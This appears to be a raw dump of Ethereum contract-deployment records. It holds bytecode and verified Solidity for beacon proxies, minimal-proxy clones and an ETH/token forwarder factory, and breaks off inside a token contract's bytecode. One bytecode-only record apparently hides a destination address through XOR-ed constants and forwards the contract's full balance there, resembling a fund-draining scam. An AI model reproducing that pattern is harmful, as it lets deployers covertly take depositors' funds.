83255b06dc6377d097eadd9ada0f69112dd79509
|
7335db10622eecdeffadaee7f2454e37aedf7002
|
71a2e72b6dc395d8bbe4ffcdc58cb5a0469327d3
|
60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c6343000811003300000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b
|
6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000023b0c2381075df4002bc6d3b9baf52ab0acb1e9b6001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033
|
{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"contracts/utils/BeaconProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"viaIR": true,
"debug": {
"revertStrings": "strip"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,497,446 |
7f75c9c3dd81bb79675aebd6b8f9db901c8a6c2ea50e4e3261a9ec7e7030d6e5
|
6ec74a2247b810d846ef369bfbedc33a51d902f119e6be371acd6ae4e45feee5
|
83255b06dc6377d097eadd9ada0f69112dd79509
|
7335db10622eecdeffadaee7f2454e37aedf7002
|
e2c9b7e9c69678970dd3f9faa90dcae922a1d2ea
|
60a03461009757601f6102cd38819003918201601f19168301916001600160401b0383118484101761009c5780849260209460405283398101031261009757516001600160a01b0381169081810361009757608052604051907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e600080a261021a90816100b382396080518181816028015260ef0152f35b600080fd5b634e487b7160e01b600052604160045260246000fdfe6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea172
|
6080806040523615610016575b6100146100da565b005b635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa9081156100ce57600091610071575b5061006b9061017d565b3861000c565b6020913d83116100c6575b601f8301601f191682019067ffffffffffffffff8211838310176100b2575060405261006b916100ac910161019e565b90610061565b634e487b7160e01b81526041600452602490fd5b3d925061007c565b6040513d6000823e3d90fd5b604051635c60da1b60e01b81526020816004817f000000000000000000000000f6fd7647cacc1d570f328fc0f09d9118041ea1726001600160a01b03165afa80156100ce57600090610133575b610131915061017d565b565b6020903d8211610175575b601f8201601f191683019067ffffffffffffffff8211848310176100b2575060405261013191610170918101906101c5565b610127565b3d915061013e565b90506000808092368280378136915af43d82803e1561019a573d90f35b3d90fd5b602090607f1901126101c0576080516001600160a01b03811681036101c05790565b600080fd5b908160209103126101c057516001600160a01b03811681036101c0579056fea2646970667358221220c478b1615b0d76011a7874324ac15b3d7fb464e980c3c09d2d779b62a970e18664736f6c63430008110033
|
{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"contracts/utils/BeaconProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"viaIR": true,
"debug": {
"revertStrings": "strip"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,497,448 |
fac44cc4ccb436b276d1249c70bfd886233d77ea4553a2fcd20beec531ac6b66
|
79d348fb4448a13495e20235414cde49f017a6b66c8097523d063bf013e1d6ec
|
c21eb3d2a93dc5da671776c0992a95e39ba0a8fc
|
c21eb3d2a93dc5da671776c0992a95e39ba0a8fc
|
27f8587f4f87b91dfe4b0c0a69a980faeee0b3b6
|
6080604052670de0b6b3a76400006002556611c37937e080006003556004805460ff191690557f6e75382374384e10a7b62f623d7c7f0e930d8963184340038f9af9ceb8d8c0086007557f6e75382374384e10a7b62f6258695b72d88efc120a7f2e072a8611889b2c2b0c6008557f6e75382374384e10a7b62f6275685a1a7ba2ec89d03aaf46ee28682d66a044bc60095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103678061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212204653e7d9cc59de3e23b252fdb8cc12440550d38c0c5ea623600b8fa6b8ed326564736f6c63430008070033
|
6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030c565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b60006020828403121561030557600080fd5b5035919050565b60008282101561032c57634e487b7160e01b600052601160045260246000fd5b50039056fea26469706673582212204653e7d9cc59de3e23b252fdb8cc12440550d38c0c5ea623600b8fa6b8ed326564736f6c63430008070033
| |
1 | 19,497,452 |
94307c15fbe2a014d4848c0c59408a9ceb9acc6ac87a83a7d6f0d6463a896777
|
e660db03c1b559cf89c0fcb9ff01e6854b768f36b740be5c6fab85026d0418df
|
ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a
|
46950ba8946d7be4594399bcf203fb53e1fd7d37
|
a36088647392cf30a4904633ca23cbf5b078afe4
|
3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3
| |
1 | 19,497,452 |
94307c15fbe2a014d4848c0c59408a9ceb9acc6ac87a83a7d6f0d6463a896777
|
5f9164af4436e2c18f744e8c85f1be4c00bb7d623b6df1fc49628d18a2fe1cb4
|
32b56fc48684fa085df8c4cd2feaafc25c304db9
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
b41c3a7297d4ca8ddab9ee9177150a0c76fb028d
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,458 |
f05bf34db824778a2207be5da3f1b52edf78d481a4971d22105032cee8d6d1e9
|
b67bd218896f3cadfac872153f736ff7172b2ce28d891e0e95e8f421dd331087
|
ea0d1682d358fbaa95af6ca8ae8fed4d9d7c3238
|
ea0d1682d358fbaa95af6ca8ae8fed4d9d7c3238
|
bacc6e014cafa7a193801136ce21334f9c85578d
|
6080604052620000126012600a620002de565b6200002190620f4240620002f6565b6200002e906002620002f6565b60045560006006556005600755600b80546001600160a01b03191673610d2578af8a3b93bde89ec7fdcb34207f9e98351790556001600d55600e805460ff191690553480156200007d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600a80546001600160a01b03191673aa422789baeab1b5e442951b3407995c938ff32a17815533600090815260036020526040808220805460ff199081166001908117909255308452828420805482168317905584546001600160a01b0390811685528385208054831684179055600b5416845291909220805490911690911790556200014f90601290620002de565b6200015f906305f5e100620002f6565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001a26012600a620002de565b620001b2906305f5e100620002f6565b60405190815260200160405180910390a362000310565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000220578160001904821115620002045762000204620001c9565b808516156200021257918102915b93841c9390800290620001e4565b509250929050565b6000826200023957506001620002d8565b816200024857506000620002d8565b81600181146200026157600281146200026c576200028c565b6001915050620002d8565b60ff841115620002805762000280620001c9565b50506001821b620002d8565b5060208310610133831016604e8410600b8410161715620002b1575081810a620002d8565b620002bd8383620001df565b8060001904821115620002d457620002d4620001c9565b0290505b92915050565b6000620002ef60ff84168362000228565b9392505050565b8082028115828204841417620002d857620002d8620001c9565b61185780620003206000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d1578063a9059cbb1161008a578063d10a089111610064578063d10a089114610425578063dd62ed3e14610445578063e8e0c7371461048b578063f2fde38b146104ab57600080fd5b8063a9059cbb146103d9578063aa4bde28146103f9578063cc1776d31461040f57600080fd5b806370a082311461031a578063715018a6146103505780637fa92013146103655780638da5cb5b1461037a57806395d89b411461039857806398fd9b6e146103c457600080fd5b8063313ce56711610123578063313ce567146102665780634578739514610282578063460eb59a1461029757806349bd5a5e146102ac5780634f7041a5146102e457806361fa4877146102fa57600080fd5b806306fdde031461017657806308e21e59146101bc578063095ea7b3146101d35780630b78e0641461020357806318160ddd1461022357806323b872dd1461024657600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600b81526a4f7261537061636520414960a81b60208201525b6040516101b39190611426565b60405180910390f35b3480156101c857600080fd5b506101d16104cb565b005b3480156101df57600080fd5b506101f36101ee366004611489565b610871565b60405190151581526020016101b3565b34801561020f57600080fd5b506101d161021e3660046114b5565b610888565b34801561022f57600080fd5b506102386108bd565b6040519081526020016101b3565b34801561025257600080fd5b506101f36102613660046114d7565b6108de565b34801561027257600080fd5b50604051601281526020016101b3565b34801561028e57600080fd5b506101d1610973565b3480156102a357600080fd5b506101d16109a9565b3480156102b857600080fd5b506009546102cc906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b3480156102f057600080fd5b5061023860065481565b34801561030657600080fd5b50600b546102cc906001600160a01b031681565b34801561032657600080fd5b50610238610335366004611518565b6001600160a01b031660009081526001602052604090205490565b34801561035c57600080fd5b506101d16109f2565b34801561037157600080fd5b506101d1610a66565b34801561038657600080fd5b506000546001600160a01b03166102cc565b3480156103a457600080fd5b506040805180820190915260038152624f525360e81b60208201526101a6565b3480156103d057600080fd5b506101d1610af0565b3480156103e557600080fd5b506101f36103f4366004611489565b610b96565b34801561040557600080fd5b5061023860045481565b34801561041b57600080fd5b5061023860075481565b34801561043157600080fd5b506101d161044036600461153c565b610ba3565b34801561045157600080fd5b50610238610460366004611555565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561049757600080fd5b50600a546102cc906001600160a01b031681565b3480156104b757600080fd5b506101d16104c6366004611518565b610bd2565b6000546001600160a01b031633146104fe5760405162461bcd60e51b81526004016104f59061158e565b60405180910390fd5b600e5460ff161561054b5760405162461bcd60e51b815260206004820152601760248201527654726164696e6720616c7265616479206f70656e65642160481b60448201526064016104f5565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105999030906105866012600a6116bf565b610594906305f5e1006116ce565b610c9d565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061091906116e5565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610672573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069691906116e5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906116e5565b600980546001600160a01b039283166001600160a01b03199091161790556008541663f305d719473061074f816001600160a01b031660009081526001602052604090205490565b6000806107646000546001600160a01